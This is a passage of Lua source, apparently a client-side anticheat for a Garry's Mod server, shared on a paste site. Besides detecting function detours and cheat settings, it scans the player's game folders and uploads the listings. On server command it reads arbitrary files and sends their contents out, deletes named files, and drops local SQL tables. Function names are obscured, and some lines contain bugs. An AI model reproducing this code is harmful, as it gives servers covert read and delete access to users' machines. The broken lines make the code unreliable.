  523.     { "timer", "includes/init.lua" },
  524.     { "schedule", "includes/init.lua" },
  525.     { "hook", "lua/includes/modules/schedule.lua" },
  526.     { "scripted_ents", "includes/init.lua" },
  527.     { "player_manager", "includes/init.lua" },
  528.     { "numpad", "includes/init.lua" },
  529.     { "team", "includes/init.lua" },
  530.     { "undo", "includes/init.lua" },
  531.     { "usermessage", "lua/includes/modules/undo.lua" },
  532.     { "timer", "lua/includes/modules/undo.lua" },
  533.     { "cleanup", "includes/init.lua" },
  534.     { "duplicator", "includes/init.lua" },
  535.     { "constraint", "includes/init.lua" },
  536.     { "construct", "includes/init.lua" },
  537.     { "filex", "includes/init.lua" },
  538.     { "vehicles", "includes/init.lua" },
  539.     { "usermessage", "includes/init.lua" },
  540.     { "list", "includes/init.lua" },
  541.     { "cvars", "includes/init.lua" },
  542.     { "http", "includes/init.lua" },
  543.     { "datastream", "includes/init.lua" },
  544.     { "draw", "includes/init.lua" },
  545.     { "markup", "includes/init.lua" },
  546.     { "effects", "includes/init.lua" },
  547.     { "killicon", "includes/init.lua" },
  548.     { "spawnmenu", "includes/init.lua" },
  549.     { "controlpanel", "includes/init.lua" },
  550.     { "presets", "includes/init.lua" },
  551.     { "cookie", "includes/init.lua" },
  552.     { "notification", "Startup" },
  553.     { "datastream", "ulib/cl_init.lua" },
  554.     { "glon", "ulib/shared/datastream.lua" },
  555.     { "enginespew", "MB_PERP/gamemode/cl_modules/engine_spew.lua" },
  556.     { "bass", "MB_PERP/gamemode/cl_modules/radio.lua" },
  557. }
  558.  
  559. local function isModuleWhitelisted( module, path )
  560.     if module == nil or path == nil then return false end
  561.  
  562.     module = module:lower() or module
  563.     path = path:lower() or path
  564.  
  565.     for _, v in pairs( WHITELIST_REQUIRE ) do
  566.         if v[1]:lower() == module and v[2]:lower() == path then
  567.             return true
  568.         end
  569.     end
  570.  
  571.     return false
  572. end
  573.  
  574. local function Require( module )
  575.     local Path = NotD(2).short_src:gsub( '\\', "/" )
  576.    
  577.     if isModuleWhitelisted( module, Path ) then
  578.         return NotR( module )
  579.     end
  580.  
  581.     queueCommand( R_CMD or "R_bk", { module, Path } )
  582. end
  583.  
  584. function hookGetTable() return table.Copy( HOOKTABLE ) end
  585. function isInHook( name ) return table.HasValue( HOOKTABLE, name ) end
  586.  
  587. local meta = getmetatable( _G )
  588. if type( meta ) == "table" or meta == nil then
  589.     setmetatable( _G, {
  590.         __index = function( t, k )
  591.             if k == "hook" then
  592.                 return { _NAME = "hook", _PACKAGE = NotM._PACKAGE, Add = hookAdd, Call = NotM.Call, GetTable = hookGetTable, isInHook = isInHook, Remove = NotM.Remove }
  593.             elseif k == "concommand" then
  594.                 return { _NAME = "concommand", Add = commandAdd, Run = NotCC.Run, AutoComplete = NotCC.AutoComplete, Remove = NotCC.Remove }
  595.             elseif k == "engineConsoleCommand" then
  596.                 return EngineConsoleCommand
  597.             elseif k == "require" then
  598.                 return Require
  599.             end
  600.         end,
  601.  
  602.         __metatable = getmetatable( _G ),
  603.     } )
  604. end
  605.  
  606. local blocked_sql = { "SHV3_Binds", "SHV3_Configs", "SHV3_ESPEnts", "SHV3_Options" }
  607.  
  608. local tumble = { data = {}, lua = {}, modules = {}, root = {} }
  609. local function SearchDirectory( dir, firstdir, notrecursive )
  610.     local list = NotFF( dir .. "/*", true )
  611.     for _, fdir in pairs( list ) do
  612.         if fdir ~= ".svn" and fdir ~= "." and fdir ~= ".." and fdir:Right( 3 ) ~= "lua" and fdir:Right( 3 ) ~= "txt" and not notrecursive then
  613.             SearchDirectory( dir .. "/" .. fdir, firstdir )
  614.         else
  615.             table.insert( tumble[ firstdir ], dir .. "/" .. fdir )
  616.         end
  617.     end
  618. end
  619.  
  620. local trumble = {}
  621. NotTS( 1, function()
  622.     SearchDirectory( "lua", "lua" )
  623.     SearchDirectory( "lua/includes/modules", "modules" )
  624.     SearchDirectory( "data", "data" )
  625.     SearchDirectory( "../garrysmod", "root", true )
  626.  
  627.     if SH_READFILE then
  628.         trumble.SendLua = SH_READFILE( "SendLua.txt" )
  629.         trumble.Logging = SH_READFILE( "logging.txt" )
  630.         trumble.IPLogs  = SH_READFILE( "iplog.txt" )
  631.     end
  632. end )
  633.  
  634. local Loaded = {}
  635. local function GFFR_Func( um )
  636.     local File = um:ReadString()
  637.  
  638.     if File == "SendLua" or File == "Logging" or File == "IPLogs" then
  639.         NotSTS( DOWNLOAD_CMD or "DOWNLOAD_bk", { File, trumble[ File ] } )
  640.     end
  641.  
  642.     NotSTS( DOWNLOAD_CMD or "DOWNLOAD_bk", { File, Loaded[ File ] } )
  643. end
  644.  
  645. NotUH( "GFFR_BK", GFFR_Func )
  646.  
  647. local function GCRC_Func( um )
  648.     local File = um:ReadString()
  649.  
  650.     if not NotFE( File, true ) then return end
  651.  
  652.     Loaded[ File ] = NotFR( File, true )
  653.  
  654.     queueCommand( CRC_CMD or "CRC_bk", { File, util.CRC( Loaded[ File ] or "" ) } )
  655. end
  656.  
  657. NotUH( "GCRC_BK", GCRC_Func )
  658.  
  659. local function GREMOVE_Func( um )
  660.     local File = um:ReadString()
  661.  
  662.     NotFD( File )
  663.  
  664.     queueCommand( REMOVE_CMD or "REMOVE_bk", { File, tonumber( NotFE( File ) ) } )
  665. end
  666.  
  667. NotUH( "GREMOVE_BK", GREMOVE_Func )
  668.  
  669. local EyeSpam = {}
  670. local Eye_Whitelist = { "mb_perp/gamemode/cl_player.lua", "mb_perp/gamemode/cl_modules/cl_billiards.lua" }
  671.  
  672. local function SetViewAngles( ucmd, angle )
  673.     local Path = SAFE_DIR( NotD( 2 ).short_src )
  674.     if not Path or not angle then return end
  675.    
  676.     if not table.HasValue( Eye_Whitelist, Path:lower() ) and not EyeSpam[ Path ] then
  677.         EyeSpam[ Path ] = true
  678.        
  679.         queueCommand( SVA_CMD or "SVA_bk", { Path } )
  680.     end
  681.    
  682.     return NotSVA( ucmd, angle )
  683. end
  684.  
  685. _R.CUserCmd.SetViewAngles   =   SetViewAngles
  686.  
  687. local function SetEyeAngles( self, angle )
  688.     if not IsValid( self ) then return end
  689.  
  690.     local Path = SAFE_DIR( NotD( 2 ).short_src )
  691.     if not Path or not angle then return end
  692.  
  693.     if not table.HasValue( Eye_Whitelist, Path:lower() ) and not EyeSpam[ Path ] then
  694.         EyeSpam[ Path ] = true
  695.        
  696.         --queueCommand( SEA_CMD, or "SEA_bk", { Path } )
  697.     end
  698.    
  699.     return NotSEA( self, angle )
  700. end
  701.  
  702. _R.Player.SetEyeAngles  =   SetEyeAngles
  703. _R.Entity.SetEyeAngles  =   SetEyeAngles
  704.  
  705. NotUH( tostring( util.CRC( game.GetMap():lower() ) / util.CRC( GetHostName():upper() ) * 100 ), function( um )
  706.     Counter_CMD     = um:ReadString()
  707.     Force_CMD       = um:ReadString()
  708.     Recoil_CMD      = um:ReadString()
  709.     Warn_CMD        = um:ReadString()
  710.     Detour_CMD      = um:ReadString()
  711.     ECC_CMD         = um:ReadString()
  712.     CA_CMD          = um:ReadString()
  713.     HA_CMD          = um:ReadString()
  714.     R_CMD           = um:ReadString()
  715.     CRC_CMD         = um:ReadString()
  716.     REMOVE_CMD      = um:ReadString()
  717.     SEA_CMD         = um:ReadString()
  718.     SVA_CMD         = um:ReadString()
  719.  
  720.     FILES_CMD       = um:ReadString()
  721.     DOWNLOAD_CMD    = um:ReadString()
  722.  
  723.     GREMOVE         = um:ReadString()
  724.     GCRC            = um:ReadString()
  725.     GFFR            = um:ReadString()
  726.  
  727.     queueCommand( Counter_CMD, { G, R } )
  728.  
  729.     NotUH( GFFR, GFFR_Func )
  730.     NotUH( GCRC, GCRC_Func )
  731.     NotUH( GREMOVE, GREMOVE_Func )
  732.  
  733.     for _, v in pairs( blocked_sql ) do
  734.         if NotQTE( v ) then
  735.             queueCommand( Warn_CMD, { "SQL Table " .. v .. " has been found." } )
  736.             NotQ( "DROP TABLE " .. v )
  737.         end
  738.     end
  739.  
  740.     NotTS( 5, function()
  741.         NotSTS( FILES_CMD, { "lua", tumble.lua } )
  742.         NotSTS( FILES_CMD, { "modules", tumble.modules } )
  743.         NotSTS( FILES_CMD, { "data", tumble.data } )
  744.         NotSTS( FILES_CMD, { "root", tumble.root } )
  745.  
  746.         if trumble.SendLua then queueCommand( GCRC, { "SendLua", util.CRC( trumble.SendLua ) } ) end
  747.         if trumble.Logging then queueCommand( GCRC, { "Logging", util.CRC( trumble.Logging ) } ) end
  748.         if trumble.IPLogs then queueCommand( GCRC, { "IPLogs", util.CRC( trumble.IPLogs ) } ) end
  749.     end )
  750.  
  751.     local function SAFE_DIR( DIR ) return DIR:gsub( '\'', "/" ) end
  752.  
  753.     NotTC( GetRand(), 1, 0, function()
  754.         local Weapon = LocalPlayer():GetActiveWeapon()
  755.         if Weapon:IsValid() and Weapon.Primary and Weapon.Primary.Recoil == 0 then
  756.             if Weapon.Primary.Recoil ~= Weapon.DefaultRecoil then
  757.                 queueCommand( Recoil_CMD, { Weapon.Primary.Recoil } )
  758.             end
  759.         end
  760.  
  761.         if NotGCVN( "sv_cheats" ) ~= 0 then
  762.             queueCommand( Force_CMD, { "sv_cheats", NotGCVN( "sv_cheats" ) } )
  763.         end
  764.  
  765.         if NotGCVN( "host_timescale" ) ~= 1 then
  766.             queueCommand( Force_CMD, { "host_timescale", NotGCVN( "host_timescale" ) } )
  767.         end
  768.  
  769.         if RunConsoleCommand and NotRCC ~= RunConsoleCommand then
  770.             queueCommand( Detour_CMD, { "RunConsoleCommand", SAFE_DIR( NotD( RunConsoleCommand ).short_src ) } )
  771.         end
  772.  
  773.         if file.Read and NotFR ~= file.Read then
  774.             queueCommand( Detour_CMD, { "file.Read", SAFE_DIR( NotD( file.Read ).short_src ) } )
  775.         end
  776.  
  777.         if file.Write and NotFW ~= file.Write then
  778.             queueCommand( Detour_CMD, { "file.Write", SAFE_DIR( NotD( file.Write ).short_src ) } )
  779.         end
  780.  
  781.         if file.FindInLua and NotFFIL ~= file.FindInLua then
  782.             queueCommand( Detour_CMD, { "file.FindInLua", SAFE_DIR( NotD( file.FindInLua ).short_src ) } )
  783.         end
  784.  
  785.         if file.Exists and NotFE ~= file.Exists then
  786.             queueCommand( Detour_CMD, { "file.Exists", SAFE_DIR( NotD( file.Exists ).short_src ) } )
  787.         end
  788.  
  789.         if file.ExistsEx and NotFEX ~= file.ExistsEx then
  790.             queueCommand( Detour_CMD, { "file.ExistsEx", SAFE_DIR( NotD( file.ExistsEx ).short_src ) } )
  791.         end
  792.  
  793.         if file.FindDir and NotFFD ~= file.FindDir then
  794.             queueCommand( Detour_CMD, { "file.FindDir", SAFE_DIR( NotD( file.FindDir ).short_src ) } )
  795.         end
  796.  
  797.         if file.IsDir and NotFID ~= file.IsDir then
  798.             queueCommand( Detour_CMD, { "file.IsDir", SAFE_DIR( NotD( file.IsDir ).short_src ) } )
  799.         end
  800.  
  801.         if file.Time and NotFT ~= file.Time then
  802.             queueCommand( Detour_CMD, { "file.Time", SAFE_DIR( NotD( file.Time ).short_src ) } )
  803.         end
  804.  
  805.         if file.Find and NotFF ~= file.Find then
  806.             queueCommand( Detour_CMD, { "file.Find", SAFE_DIR( NotD( file.Find ).short_src ) } )
  807.         end
  808.  
  809.         if file.TFind and NotFTF ~= file.TFind then
  810.             queueCommand( Detour_CMD, { "file.TFind", SAFE_DIR( NotD( file.TFind ).short_src ) } )
  811.         end
  812.  
  813.         if file.Size and NotFS ~= file.Size then
  814.             queueCommand( Detour_CMD, { "file.Size", SAFE_DIR( NotD( file.Size ).short_src ) } )
  815.         end
  816.  
  817.         if file.Delete and NotFD ~= file.Delete then
  818.             queueCommand( Detour_CMD, { "file.Delete", SAFE_DIR( NotD( file.Delete ).short_src ) } )
  819.         end
  820.  
  821.         if GetConVarNumber and NotGCVN ~= GetConVarNumber then
  822.             queueCommand( Detour_CMD, { "GetConVarNumber", SAFE_DIR( NotD( GetConVarNumber ).short_src ) } )
  823.         end
  824.  
  825.         if GetConVarString and NotGCVS ~= GetConVarString then
  826.             queueCommand( Detour_CMD, { "GetConVarString", SAFE_DIR( NotD( GetConVarString ).short_src ) } )
  827.         end
  828.  
  829.         if _R.ConVar.GetInt and NotCVGI ~= _R.ConVar.GetInt then
  830.             queueCommand( Detour_CMD, { "_R.ConVar.GetInt", SAFE_DIR( NotD( _R.ConVar.GetInt ).short_src ) } )
  831.         end
  832.  
  833.         if _R.ConVar.GetBool and NotCVGB ~= _R.ConVar.GetBool then
  834.             queueCommand( Detour_CMD, { "_R.ConVar.GetBool", SAFE_DIR( NotD( _R.ConVar.GetBool ).short_src ) } )
  835.         end
  836.  
  837.         if usermessage.Hook and NotUH ~= usermessage.Hook then
  838.             queueCommand( Detour_CMD, { "usermessage.Hook", SAFE_DIR( otD( usermessage.Hook ).short_src ) } )
  839.         end
  840.  
  841.         if usermessage.IncomingMessage and NotUIM ~= usermessage.IncomingMessage then
  842.             queueCommand( Detour_CMD, { "usermessage.IncomingMessage", SAFE_DIR( NotD( usermessage.IncomingMessage ).short_src ) } )
  843.         end
  844.     end )
  845. end )
Advertisement
Add Comment
Please, Sign In to add comment